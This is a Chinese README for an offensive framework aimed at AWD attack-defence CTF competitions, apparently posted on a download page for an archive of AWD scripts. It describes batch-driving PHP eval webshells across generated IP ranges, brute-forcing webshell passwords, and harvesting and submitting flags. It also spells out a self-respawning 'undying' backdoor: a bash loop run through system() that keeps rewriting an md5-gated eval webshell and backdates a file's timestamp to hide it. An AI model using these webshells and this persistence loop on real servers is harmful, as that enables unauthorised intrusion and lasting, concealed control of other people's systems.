AWD Predator Framework v2.0
--code by AresX
* 在AWD攻防赛中通过给定的webshell批量获取提交flag
* 为不会现场挖洞写脚本的菜鸡准备
* 用py去实现菜刀是一件代码量很大的事情,懒得做也不会做(以后可能会做),所以需要手动设置一句话的功能函数和方法
* 针对简单的单参数传递的一句话和特定的加密一句话
# 启动
python console.py
# webshell
**添加已知的webshell,仅支持php,GET和POST方法使用eval和exec函数的一句话木马**
### 添加webshell
命令`add`
使用方法: `add [shell path] [pwd] [type(eval/exec)] [method(get/post)]`
如一句话为`<?php @eval($_POST[‘cmd’]);?>` 路径为`x.x.x.x:8001://index/cmd.php`
一句话密码为`cmd` 功能函数为`eval` 方法为`POST`
example:`add :8001/index/cmd.php cmd eval post`
注意这里添加一句话路径不加ip地址,ip地址要使用命令`ip`生成
命令执行后webshell的路径和密码会以字典的形式储存
**处理了使用md5加密的eval函数一句话,**
get方法在添加时,可添加带md5加密的密码的路径
如:`add :8003/x.php?pass=fuckyou x eval get`
post方法请在`flag.py`中修改`for j in POST_eval_shells_path_pwd:`循环中的`eval_POST_data['pass']`为自己的密码,密码将被自动传递
post添加方法同`add :8001/index/cmd.php cmd eval post`
### 显示添加的webshell
命令`show`
将显示所有添加的webshell路径和密码
### 保存,读取,清空webshell
*保存已经添加的webshell路径和密码,方便临场修改代码*
保存:`save`
读取:`load`
清空:`clear` //清空不会清空已经储存的webshell,除非在清空后执行保存命令
### Webshell爆破
*采用一种提速千倍的爆破方法*
命令: `crack http://xxx.php`
字典储存在`auxi/pwd.txt`中,可自行完善字典
# iplist
**根据输入生成指定段的ip列表**
### 生成列表
命令: `ip x.x.a-b.x`
可设定acb任意段的ip列表,使用'-'连接左右区间
### 添加指定ip
命令: `ip x.x.x.x`
执行命令后,`x.x.x.x`将被添加到ip列表中,会自动去除重复项和进行排序
### 查看已经生成的列表
命令: `showip`
显示生成的ip列表
### 清空ip列表
命令: `clearip`
### 去掉指定ip
命令: `removeip x.x.x.x`
# flag
**通过iplist和webshell获取flag,将获取到的flag提交到指定服务器**
### 获取flag
*遍历iplist中所有的地址尝试通过所有已经添加的webshell获取flag,在执行此命令前需设定iplist,否则报错*
命令:`getflag [command]`
example:`getflag curl www.baidu.com/flag.txt`
获取命令如果不需要修改只需完整输入一次,之后可直接执行`getflag`
### 查看flag
命令: `showflag`
### 提交flag
**攻防赛环境中获取到的flag通常不是标准格式,`flag.py`中的`submit_flag`函数中已经使用了`re.compile(r'flag{\w+?}')`尝试匹配标准flag格式**
**如果出现问题,请自行在`flag.py`文件的`submit_flag`函数中使用正则匹配获得标准flag进行提交**
*提交flag 需设定提交flag的链接,以及cookie和data,使用"?"替换flag在data中所在的参数*
命令: `submit [url] [cookie] [data](use '?' replace the flag )`
example: `submit http:xxx.xxx.xx/xx/ JSESSIONID=A6F8;route=6cf03 pid=-1&pidName=&flag=?`
**去掉cookie中的空格,data中flag所在位置需用?代替!**
提交命令如果不需要修改只需完整输入一次,之后可直接执行`submit`
submit完成之后会有清空flag的选项(y/n)
### 清空flag
命令: `clearflag`
# 上传
## 文件木马上传
命令: `upload <file>(default='auxi/shell.php')`
默认上传文件为`auxi/shell.php` 如需使用修改默认文件,默认文件为加密不死马
如需上传其他文件,将文件储存在`auxi/`目录下
执行`upload xxx`即可
如上传默认文件,直接执行`upload`
如果文件上传成功,会自动访问一次上传的文件,激活不死马
## 命令木马上传
命令: `cupload`
连接一句话执行bash命令生成不死马`.index1.php`
bash命令为:`system('while true;do echo \'<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>\' >fuck.php;touch -m -d "2017-11-12 10:10:10" .index1.php;sleep 1;done;');`
如果要修改请修改`command.py`中的`data[z0]`
---
### 目录结构
```
###########
├── Readme.md //帮助文档
├── console.py //启动
├── core // 核心模块
│ ├── shells.py //写入,读取,保存webshell
│ ├── flag.py // 获取,提交flag
│ ├── iplist.py // 生成ip列表
│—— auxi //辅助模块
| |—— upload.py //webshell上传功能
| |—— shell.php //默认上传文件
| |—— webshell.txt //一句话储存路径
| |—— command.py //上传bash不死马
|—— data //webshell数据储存
```
没有合适的资源?快使用搜索试试~ 我知道了~
AWD脚本收集.rar
共268个文件
py:51个
sample:33个
pyc:14个
需积分: 50 100 下载量 114 浏览量
2020-10-21
12:03:58
上传
评论 5
收藏 7.7MB RAR 举报
温馨提示
awd必备脚本:awd框架 流量监控waf 批量提交 批量获取 批量改密码 文件监控
资源推荐
资源详情
资源评论
收起资源包目录
AWD脚本收集.rar (268个子文件)
002c626514c11234c1fe1788bb161c2f3f6270 1KB
0624a605ff8c86d33ef522f7dd14cc8df61856 582B
0802f9e253fe3c0fe398d668fe504a89777fca 2KB
0bdcc969859bbe0f146c65b5cb145dcbb3d09e 558B
0d64f1ea1629a2ab7107d5ceddf9725e96078a 7KB
136193be4b607d7a9e7b6b380b4397e0a5b5c4 215B
17e15ed3097fcbb39a048e9e28fff45abeaf6e 850B
1a2f1512794b8b1c7fb5aebe269fe6516972e0 1KB
1c9fe27136e91397ff2b73a686813f7f7dc4cb 2KB
23290483ae96c1e14b7a2e8335ee08c5cb2ce5 912B
25ed883a0df2e856f1ca60c2f82c91fac5826b 187B
2fd31983c4168d851819ad3e42a12f4100097f 592B
323defa3d469d52892d39683638192904501e6 130B
33cac4a731a8945b4b592d088026bbc59d4224 553B
34124b90067e09c258292df2d34695aae28354 557B
3a6f8f00e09645bb1a3b884a835007b30c217d 250B
3c6063d379565bb5cf0b8af60e056610a75ef7 250B
3cf218776fcde32a8a5cb3cc500b2a0af08847 249B
45ef1135588d86a60f0e260ba3486a58ddb062 558B
47ad4cd3f150b38bc307596b2aa5b052b2cb3a 228B
48d7e7530631e625bdb4560df945e01afbaa2b 3KB
4ecb315d7d7d046a88d8455aab2ae32518b232 552B
51be7d7d8a0d4b805cbc2740e885f0539177b2 559B
5497c89bcf6c0f25562d7f9b576b5fef717ea6 592B
554b2019ae3b14ec89a7b2b7254223e9b84bd0 374B
556fb80b37ae7fb819350e7477ef3ba4ca494c 552B
5605241111ac77955e71206aa23c4d6d3ba7bc 3KB
5ae076faf758a52e73c6c5c109686bf51627ca 323B
5ef01ed4db3bdd55acbb0ba88c3926d0549859 249B
62d41411042242f7af2f5a3de889a588f3034a 4KB
641ff98f09d64bd08a436521005cbf3a915070 450B
683dbf88d7ce6430f136c1ac4f554fc28bfd56 560B
68745cf7959f755a85ab94fc9829d523ccebf1 1KB
6b6d22a661afe0d2abcff42fc8d8526989ebda 1KB
6b81906d02aa144a0a4a508ccb9acc4fc49f4a 549B
6d0715c107b9b1022e57f43590d1060513cd21 1KB
7455d25e18ce11c8e6c6969c244ce2feafaa06 559B
75909d384a4aae853539a5eae8286f5dafa8cf 2KB
7c1b02d0b63bf4097a54df8ab87160440dc5d8 556B
85157ae5a15b6f64dd8ae4173077f7515f100a 760B
861281a85bf6d4272a12937f65023f4f972e29 215B
893d9b31290142c7723d27ff42e7c4f75152e2 5KB
8a73c82f1be32563efb9d9074ded4e12182064 555B
8b29e798874a27b936bef6ac1600a93aa4ca11 630B
8dbbe98e291e7f3a8e2ea8e4c73285a124f78e 4KB
90b876d5ace5374c93e5f52c90395a65c6f34e 550B
943d344c6dafcbbfd85246d8aea54f9802d043 130B
96f33785cfda9e1173afa8160dd71177edad11 131B
9eb4d11d04fc1818877b92f66313a4a7535e9a 250B
9ef9e8e6dc3a26e3d100b563d6d9e5ec9358cb 131B
a1e53804edcbff06dde3e92dfe5273d23afe59 2KB
a1fb364cfdfadf8a933d7a56d7895bb454f9fb 216B
a6247c3b233164328fc9c8f9e836c8ab320b41 246B
a6b8ab476215a3747ad0e3308da1abb7615b10 560B
a6d3d57634a384b25393803a56831f32d3c7fd 1KB
a8a7b1b97e5e380387494d4276e6d5119f986f 4KB
ab62e3c5715255fa30f6bb158a632e133664ee 2KB
abf53be8e12a8fa93a0de555249c43128f85fc 574B
ac23359e2ee59b175748a6cc7a6c4a359fdb0a 249B
ad99f5f9e0f7498c3d515c3e9ecd827ae0ac1f 2KB
ae3272b6c7f3a934950e04afec56057c98d0a0 6KB
b0f9e1934f017234e3efd4bd09d5955c4dcf25 187B
b6038ebafa703f65cb89f098a8d53b78a3af32 2KB
b734eb562396f40e4edaa49955e99bd4c13345 2KB
b830bfc24311c348e81b67ee386dda075cdcd5 611B
bda3e5fe5be01afda0d5baff507278a9683288 705B
c05af4b66e66f6f4b44d4dd96ad57a2ac56a9c 631B
c96d7173e2f757df539c5b19986e3f9e6acc4a 492B
cf7cc8b5dc7f1798a1bf9c6220e7ecec54cf96 96B
config 315B
config 307B
config 298B
d461e05d27d8d149a63d688dfebec16278ee33 130B
d5a1121d2fec3205d62f0d9f1ef8c24aaa2f38 158B
d63a98cfd3d9938a1f7e304e1d0fb4b0d63eb5 3KB
d7128faf5f4ac4e079e9ad1016be544f85d682 131B
d91de8c765504f08eb0681870bb16cc6a0bde5 1KB
da772b7facdb68bd83b15529de03ef0ac90e94 1KB
db27b5f0d6617f08377cd442f398aa15b9e84c 59B
description 73B
description 73B
description 73B
df8653d6910f2778274fd9ea6f9925d4ab5d94 478KB
e067dd9037d7f0221a36cb8be54395a8e204d1 2KB
e0f7c3650024669630e7149105966bff3c3fb8 548B
e38d834e47a9d4daac91a2607e6a6ac02577b8 1KB
e4b0e839c11421f4749f7bf6cec6f0aa44a4c9 2KB
e538c3422ec11c7549e638c0af6921cdffaebe 676B
e820d1b45c6e7d10da24e876af82d573a0f03a 130B
eafa05307ff90d99cb9e181fa295cf19ddab6e 131B
ee13b607e95f12811fe3c0c0b7e69fd6b722b1 833B
ee75bf2f5306c3314eb34d73755f613eba162c 631B
eeb820def39ce2807774f69fb8753999db9536 775B
exclude 240B
exclude 240B
exclude 240B
cmd.exe 228KB
f10a724f7d547f77e0615541fb58a51bfc8cf7 787B
f5e0e943abbe78694ae207476e54c16c4c1289 1001B
f71a7f21a149ac1aee63c92a8ccdb0b9091981 558B
共 268 条
- 1
- 2
- 3
资源评论
zhi_chu
- 粉丝: 7
- 资源: 19
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功